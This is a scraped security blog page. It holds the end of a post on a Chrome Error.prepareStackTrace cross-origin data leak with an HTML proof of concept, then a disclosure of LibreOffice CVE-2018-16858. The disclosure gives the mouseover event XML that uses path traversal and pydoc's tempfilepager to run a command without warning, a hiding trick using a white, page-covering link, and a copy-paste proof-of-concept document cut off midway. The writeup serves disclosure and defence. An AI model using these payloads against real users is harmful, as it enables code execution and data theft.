<h3>
The PoC</h3>
<br />
The following PoC needs to be hosted on a HTTP (not HTTPS) website or otherwise a mixed-content warning will be displayed. Of course you need to use a browser, which is using the JavaScript V8 engine like Chrome. It will display 'ReferenceError: 嬢獵灥牳散牥琢Ⱒ慢挢 is not defined', as it does not decode the UTF-16 variable:<br />
<br />
<pre style="background: rgb(255, 255, 255);"><span style="color: #808030;"><</span><span style="color: #808030;">!</span>doctype HTML<span style="color: #808030;">></span>
<span style="color: #808030;"><</span>meta charset<span style="color: #808030;">=</span><span style="color: maroon;">"</span><span style="color: #0000e6;">UTF-8</span><span style="color: maroon;">"</span> <span style="color: #808030;">/</span><span style="color: #808030;">></span>
<span style="color: #808030;"><</span>script<span style="color: #808030;">></span>
Error<span style="color: #808030;">.</span>prepareStackTrace <span style="color: #808030;">=</span> <span style="color: maroon; font-weight: bold;">function</span><span style="color: #808030;">(</span>error<span style="color: #808030;">,</span>stacks<span style="color: #808030;">)</span>
<span style="color: purple;">{</span>
<span style="color: maroon; font-weight: bold;">alert</span><span style="color: #808030;">(</span>error<span style="color: #808030;">)</span><span style="color: purple;">;</span>
stacks<span style="color: #808030;">[</span><span style="color: #008c00;">0</span><span style="color: #808030;">]</span><span style="color: #808030;">.</span>getThis<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">.</span><span style="color: maroon; font-weight: bold;">alert</span><span style="color: #808030;">(</span>stacks<span style="color: #808030;">[</span><span style="color: #008c00;">0</span><span style="color: #808030;">]</span><span style="color: #808030;">.</span>getThis<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">.</span>location<span style="color: #808030;">)</span><span style="color: purple;">;</span>
<span style="color: maroon; font-weight: bold;">return</span> <span style="color: maroon;">"</span><span style="color: #0000e6;">MyStackObject</span><span style="color: maroon;">"</span><span style="color: purple;">;</span>
<span style="color: purple;">}</span>
<span style="color: #808030;"><</span><span style="color: #808030;">/</span>script<span style="color: #808030;">></span>
<span style="color: #808030;"><</span>script charset<span style="color: #808030;">=</span><span style="color: maroon;">"</span><span style="color: #0000e6;">UTF-16BE</span><span style="color: maroon;">"</span></pre>
<pre style="background: rgb(255, 255, 255);">src<span style="color: #808030;">=</span><span style="color: maroon;">"</span><span style="color: #0000e6;">http://subdomain1.portswigger-labs.net/utf-16be/chrome_steal_json_data_with_proxy/array.php</span><span style="color: maroon;">"</span><span style="color: #808030;">></span></pre>
<pre style="background: rgb(255, 255, 255);"><span style="color: #808030;"><</span><span style="color: #808030;">/</span>script<span style="color: #808030;">></span>
<span style="color: #808030;"><</span>body<span style="color: #808030;">></span>
<span style="color: #808030;"><</span>h1<span style="color: #808030;">></span> open the developer console <span style="color: #808030;"><</span><span style="color: #808030;">/</span>h1<span style="color: #808030;">></span></pre>
<br />
<div>
<br /></div>
<h3>
The standard:</h3>
<div>
<br /></div>
<div>
The behavior of Error.prepareStackTrace violates the standard (in case the developer console is opened):</div>
<div>
<a href="https://html.spec.whatwg.org/multipage/webappapis.html#runtime-script-errors">https://html.spec.whatwg.org/multipage/webappapis.html#runtime-script-errors</a></div>
<div>
<br /></div>
<div>
<i>6. If <b>script's muted errors is true</b>, then set message to "Script error.", urlString to the empty string, line and col to 0, and errorValue to null.</i></div>
<div>
<br /></div>
<div>
<div>
<i><b>A muted errors boolean:</b></i></div>
<div>
<i><br /></i></div>
<div>
<i>A boolean which, if true, means that error information will not be provided for errors in this script. This is used to mute errors for <b>cross-origin scripts, since that can leak private information</b>.</i></div>
</div>
<div>
<br /></div>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-43712737089195539772019-02-01T05:15:00.001-08:002019-08-28T03:50:44.206-07:00Libreoffice (CVE-2018-16858) - Remote Code Execution via Macro/Event execution<br />
<br />
I started to have a look at Libreoffice and discovered a way to achieve remote code execution as soon as a user opens a malicious ODT file and moves his mouse over the document, without triggering any warning dialog. This blogpost will describe the vulnerability I discovered. It must be noted the vulnerability will be discussed in the context of Windows but Linux can be exploited the same way.<br />
<br />
Tested LibreOffice version: <b>6.1.2.1</b> (<b>6.0.x does not allow to pass parameters</b>)<br />
Tested Operating Systems: Windows + Linux (both affected)<br />
<br />
<a href="https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/">https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/</a><br />
<br />
<br />
<br />
<h3>The feature</h3><div><br />
</div><div>I started to read the <a href="http://docs.oasis-open.org/office/v1.2/OpenDocument-v1.2-part1.html">OpenDocument-v1.2-part1</a> specification to get a feeling for the file format. Additionally I created some odt files (which, similar to docx, are zip files containing files describing the file structure) so I can follow the file format specification properly. The specification for the <i>office:scripts</i> element peeked my interested so I started to investigate how this element is used. </div><div>I stumbled upon the <a href="https://wiki.openoffice.org/wiki/Documentation/DevGuide/Scripting/Scripting_Framework_URI_Specification">scripting framework documentation</a> (which specifies that Basic, BeanShell, Java</div><div>JavaScript and Python is supported). Additionally I discovered how to create an ODT file via the GUI, which uses the office:script element (thanks google). </div><div><br />
</div><div>Open Libreoffice writer => Insert => Hyperlink and click on the gear wheel icon (open the image so you can properly read it):</div><div><br />
</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-9uhuUJqRgwq-fIQi5PXPzCTuQKwd7swIVVhf9W9PR8IpmgZD7QY6bEx7JdfaX1YDsqTq5FQGfT32D6w8s1cMnxg5itLaS77PVCiUahw7VV1iepXReCFy1nIUcyDpee1CMeDYYhouGdDp/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="603" data-original-width="1550" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-9uhuUJqRgwq-fIQi5PXPzCTuQKwd7swIVVhf9W9PR8IpmgZD7QY6bEx7JdfaX1YDsqTq5FQGfT32D6w8s1cMnxg5itLaS77PVCiUahw7VV1iepXReCFy1nIUcyDpee1CMeDYYhouGdDp/s640/Untitled.png" width="640" /></a></div><div><br />
</div><div><br />
</div><div>I choosed to use the onmouseover event and the python sample installed with LibreOffice. </div><div>After assigning this script (or event as it is called in the LibreOffice world) and saving this file, I was able to have a look at the created file structure:</div><div><br />
</div><div><i><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<span style="background-color: yellow;"><b>pythonSamples</b></span>|<span style="background-color: yellow;"><b>TableSample.py$createTable</b></span>?language=<b style="background-color: yellow;">Python</b>&amp;location=share" xlink:type="simple"/></i></div><div><br />
</div><div><br />
</div><div>This looked like it is loading a file from the local file system and that assumption is true (the path shown is for Windows but it is present for Linux as well): </div><div><i>C:\Program Files\LibreOffice\share\Scripts\python\pythonSamples\TableSample.py </i></div><div><br />
</div><div>The file contains a <i>createTable</i> function.</div><div><br />
</div><div><b>So I opened the created ODT file and moved the mouse over the link and to my surprise the python file was executed without any warning dialog</b>.</div><div><br />
</div><div><b>Important side note:</b> LibreOffice ships with its own python interpreter, so there is no need that python is actually installed </div><div><br />
</div><div><br />
</div><h3>The Bug</h3><div><br />
</div><div>Given that a local python file is executed, the first thing I tried was path traversal. After unzipping I modified the script:event-listener element like this:</div><div><br />
</div><div><i><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<span style="background-color: yellow;"><b>../../../../../../../../../</b></span><span style="background-color: yellow; font-weight: bold;">TableSample.py</span><span style="background-color: white;">$createTable</span>?language=<span style="background-color: white;">Python</span>&amp;location=share" xlink:type="simple"/></i></div><div><br />
</div><div>I zipped everything up, changed the extension to ODT and started ProcessMonitor. I configured it to only list libreoffice related events and opened the ODT file in LibreOffice. As soon as I moved my mouse over the hyperlink and therefore executing the event, I saw that the path traversal worked as a FILE NOT FOUND event was shown in ProcessMonitor!</div><div>To be sure that the feature still works with path traversal, I copy&pasted the original TableSample.py in the C:\ root directory and opened the ODT file again. Thankfully the python file was executed from C:\ as soon as the event was triggered. </div><div>Lastly I changed the content of TableSample.py in the C:\ folder so it would create a file in case it is executed. I used the same ODT file again to execute the python file and the file was successfully dropped.</div><div>That meant I was able to execute any python file from the local file system, without a warning dialog as soon as the mouse is over the hyperlink in the document.</div><div><br />
</div><h3>Exploitation</h3><div><br />
</div><div>To properly exploit this behavior, we need to find a way to load a python file we have control over and know its location. At first I was investigating the location parameter of the vnd.sun.star.script protocol handler:</div><div><br />
</div><div><i>"LOCPARAM identifies the container of the script, i.e. My Macros, or OpenOffice.org Macros, or within the <span style="background-color: yellow;"><b>current document</b></span>, or in an extension."</i></div><div><br />
</div><div>If we can specify a python script in the current document, we should have no problem loading a custom python script. This idea was a dead end really quick as by specifying <i>location=document</i> a dialog is shown- explaining that macros hosted inside the document are currently disabled. </div><div><br />
</div><div>The next idea was abusing the <i>location=user</i> parameter. In case of Windows the <i>user</i> location points inside the AppData directory of the current user. The idea was to abuse the path traversal to traverse down into the users Download directory and load the ODT file as a python script (ergo creating a polyglot file, which is a python file + a working ODT file). Sadly this was a dead end as well as LibreOffice does not like any data before the ODT Zip header.</div><div><br />
</div><h3>The solution</h3><div><br />
</div><div>For the solution I looked into the python parsing code a little more in depth and discovered that it is not only possible to specify the function you want to call inside a python script, but it is possible to pass parameters as well (this feature seems to be introduced in the 6.1.x branch):</div><div><br />
</div><div><i><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<span style="background-color: white;">../../../../../../../../../TableSample.py$</span><span style="background-color: yellow;"><b>functionName(param1,param2)</b></span>?language=<span style="background-color: white;">Python</span>&amp;location=share" xlink:type="simple"/></i></div><div><br />
</div><div><br />
</div><div>As LibreOffice ships with its own python interpreter and therefore a bunch of python scripts, I started to examine them for potential insecure functions I can abuse. After some digging I discovered the following code:</div><div><br />
</div><div><b>File:</b></div><div>C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.py</div><div><br />
</div><div><b>Code:</b></div><div><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"><span style="background-color: white;"><span style="color: maroon; font-weight: bold;">def</span> tempfilepager<span style="color: #808030;">(</span>text<span style="color: #808030;">,</span> </span><span style="background-color: yellow;"><b>cmd</b></span><span style="background-color: white; color: #808030;">)</span><span style="background-color: white; color: #808030;">:</span><span style="background-color: white;">
</span><span style="background-color: white; color: dimgrey;">"""Page through text by invoking a program on a temporary file."""</span><span style="background-color: white;">
</span><span style="background-color: white; color: maroon; font-weight: bold;">import</span><span style="background-color: white;"> tempfile
filename </span><span style="background-color: white; color: #808030;">=</span><span style="background-color: white;"> tempfile</span><span style="background-color: white; color: #808030;">.</span><span style="background-color: white;">mktemp</span><span style="background-color: white; color: #808030;">(</span><span style="background-color: white; color: #808030;">)</span><span style="background-color: white;">
</span><span style="background-color: white; color: maroon; font-weight: bold;">with</span><span style="background-color: white;"> </span><span style="background-color: white; color: #400000;">open</span><span style="background-color: white; color: #808030;">(</span><span style="background-color: white;">filename</span><span style="background-color: white; color: #808030;">,</span><span style="background-color: white;"> </span><span style="background-color: white; color: #0000e6;">'w'</span><span style="background-color: white; color: #808030;">,</span><span style="background-color: white;"> errors</span><span style="background-color: white; color: #808030;">=</span><span style="background-color: white; color: #0000e6;">'backslashreplace'</span><span style="background-color: white; color: #808030;">)</span><span style="background-color: white;"> </span><span style="background-color: white; color: maroon; font-weight: bold;">as</span><span style="background-color: white;"> </span><span style="background-color: white; color: #400000;">file</span><span style="background-color: white; color: #808030;">:</span><span style="background-color: white;">
</span><span style="background-color: white; color: #400000;">file</span><span style="background-color: white; color: #808030;">.</span><span style="background-color: white;">write</span><span style="background-color: white; color: #808030;">(</span><span style="background-color: white;">text</span><span style="background-color: white; color: #808030;">)</span><span style="background-color: white;">
</span><span style="background-color: white; color: maroon; font-weight: bold;">try</span><span style="background-color: white; color: #808030;">:</span><span style="background-color: white;">
</span><span style="background-color: yellow;"><b>os<span style="color: #808030;">.</span>system</b></span><span style="background-color: white; color: #808030;">(</span><span style="background-color: yellow;"><b>cmd</b></span><span style="background-color: white;"> </span><span style="background-color: white; color: #44aadd;">+</span><span style="background-color: white;"> </span><span style="background-color: white; color: #0000e6;">' "'</span><span style="background-color: white;"> </span><span style="background-color: white; color: #44aadd;">+</span><span style="background-color: white;"> filename </span><span style="background-color: white; color: #44aadd;">+</span><span style="background-color: white;"> </span><span style="background-color: white; color: #0000e6;">'"'</span><span style="background-color: white; color: #808030;">)</span><span style="background-color: white;">
</span><span style="background-color: white; color: maroon; font-weight: bold;">finally</span><span style="background-color: white; color: #808030;">:</span><span style="background-color: white;">
os</span><span style="background-color: white; color: #808030;">.</span><span style="background-color: white;">unlink</span><span style="background-color: white; color: #808030;">(</span><span style="background-color: white;">filename</span><span style="background-color: white; color: #808030;">)</span></pre></div><div><br />
The user controlled cmd parameter is passed to the os.system call, which just passes the string to a subshell (cmd.exe on Window) and therefore allowing to execute a local file with parameters:<br />
<br />
<i><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="<span style="background-color: yellow;"><b>vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe</b></span> )?language=Python&amp;location=share" xlink:type="simple"/></i><br />
<br />
</div><div><br />
Some notes regarding the Proof-of-Concept Video. I changed the color of the Hyperlink to white so it can't be seen. Additionally the link covers the whole page, therefore increasing the chance a user moves his mouse over the link and executing my payload:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/gChvv570faQ/0.jpg" frameborder="0" height="600" src=" https://www.youtube-nocookie.com/embed/gChvv570faQ?feature=player_embedded" width="800"></iframe></div><br />
<br />
</div><div><h3>Reporting the bug</h3></div><div><br />
</div><div>Reporting the bug was kind of a wild ride. At first I reported it via the libreoffice bugzilla system. Apparently for security issues it is better to send an email to [email protected], but I did not know that. So my bugzilla report got closed but I convinced them to have another look. The bug was picked up and moved to a thread via [email protected]. The issue was verified and fixed quite fast. </div><div><br />
<u>Timeline</u>:<br />
18.10.2018 - reported the bug<br />
30.10.2018 - bug was fixed and added to daily builds<br />
14.11.2018 - CVE-2018-16858 was assigned by Redhat - got told that 31.01.2019 is the date I can publish<br />
01.02.2019 - Blogpost published<br />
<br />
<br />
<u>The path traversal is fixed in (I just tested these versions):</u><br />
Libreoffice: 6.1.4.2<br />
Libreoffice: 6.0.7<br />
<br />
<b>Vulnerable</b>:<br />
Openoffice: 4.1.6 (latest version)<br />
<br />
I reconfirmed via email that I am allowed to publish the details of the vulnerability although openoffice is still unpatched. Openoffice does not allow to pass parameters therefore my PoC does not work but the path traversal can be abused to execute a python script from another location on the local file system.<br />
To disable the support for python the pythonscript.py in the installation folder can be either removed or renamed (example on linux /opt/openoffice4/program/pythonscript.py)<br />
<br />
<h3>Additional note</h3>As I had some additional time until I could publish this blogpost I thought about ImageMagick, as it is using LibreOffice (soffice) to convert certain file types.<br />
It is possible to use certain events to trigger the execution of a script as shown above but one additional parameter will be passed, which you have no control of. Therefore my PoC does not work but in case you are able to reference your own local python file, it is possible to abuse it via ImageMagick as well (given that 6.1.2.1 or another vulnerability version is installed)<br />
<br />
<br />
<br />
<h3>Proof-of-concept - Copy&Paste and save it with an .fodt extension!</h3><div>Openoffice does not support FODT files, so it is necessary to open it with Libreoffice and save it as an ODT file.</div><div><br />
</div><div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><?xml version="1.0" encoding="UTF-8"?></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br />
</span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <office:settings></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item-set config:name="ooo:view-settings"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ViewAreaTop" config:type="long">0</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ViewAreaLeft" config:type="long">0</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ViewAreaWidth" config:type="long">35959</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ViewAreaHeight" config:type="long">12913</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ShowRedlineChanges" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="InBrowseMode" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item-map-indexed config:name="Views"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item-map-entry></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ViewId" config:type="string">view2</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ViewLeft" config:type="long">9772</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ViewTop" config:type="long">2501</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="VisibleLeft" config:type="long">0</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="VisibleTop" config:type="long">0</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="VisibleRight" config:type="long">35957</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="VisibleBottom" config:type="long">12912</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ZoomType" config:type="short">0</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ViewLayoutColumns" config:type="short">1</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ViewLayoutBookMode" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ZoomFactor" config:type="short">100</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="IsSelectedFrame" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="AnchoredTextOverflowLegacy" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </config:config-item-map-entry></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </config:config-item-map-indexed></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </config:config-item-set></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item-set config:name="ooo:configuration-settings"></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ProtectForm" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrinterName" config:type="string"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="EmbeddedDatabaseName" config:type="string"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="CurrentDatabaseDataSource" config:type="string"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="LinkUpdateMode" config:type="short">1</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="AddParaTableSpacingAtStart" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="FloattableNomargins" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="UnbreakableNumberings" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="FieldAutoUpdate" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="AddVerticalFrameOffsets" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="BackgroundParaOverDrawings" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="AddParaTableSpacing" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ChartAutoUpdate" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="CurrentDatabaseCommand" config:type="string"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="AlignTabStopPosition" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrinterSetup" config:type="base64Binary"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrinterPaperFromSetup" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="IsKernAsianPunctuation" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="CharacterCompressionType" config:type="short">0</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ApplyUserData" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="SaveGlobalDocumentLinks" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="SmallCapsPercentage66" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="CurrentDatabaseCommandType" config:type="int">0</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="SaveVersionOnClose" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="UpdateFromTemplate" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrintSingleJobs" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="PrinterIndependentLayout" config:type="string">high-resolution</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="EmbedSystemFonts" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="DoNotCaptureDrawObjsOnPage" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="UseFormerObjectPositioning" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="IsLabelDocument" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="AddFrameOffsets" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="AddExternalLeading" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="UseOldNumbering" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="OutlineLevelYieldsNumbering" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="DoNotResetParaAttrsForNumFont" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="IgnoreFirstLineIndentInNumbering" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="AllowPrintJobCancel" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="UseFormerLineSpacing" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="AddParaSpacingToTableCells" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="UseFormerTextWrapping" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="RedlineProtectionKey" config:type="base64Binary"/></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="ConsiderTextWrapOnObjPos" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="DoNotJustifyLinesWithManualBreak" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="EmbedFonts" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="TableRowKeep" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="TabsRelativeToIndent" config:type="boolean">true</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="IgnoreTabsAndBlanksForLineCalculation" config:type="boolean">false</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="RsidRoot" config:type="int">1115298</config:config-item></span></div><div><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <config:config-item config:name="LoadReadonly" 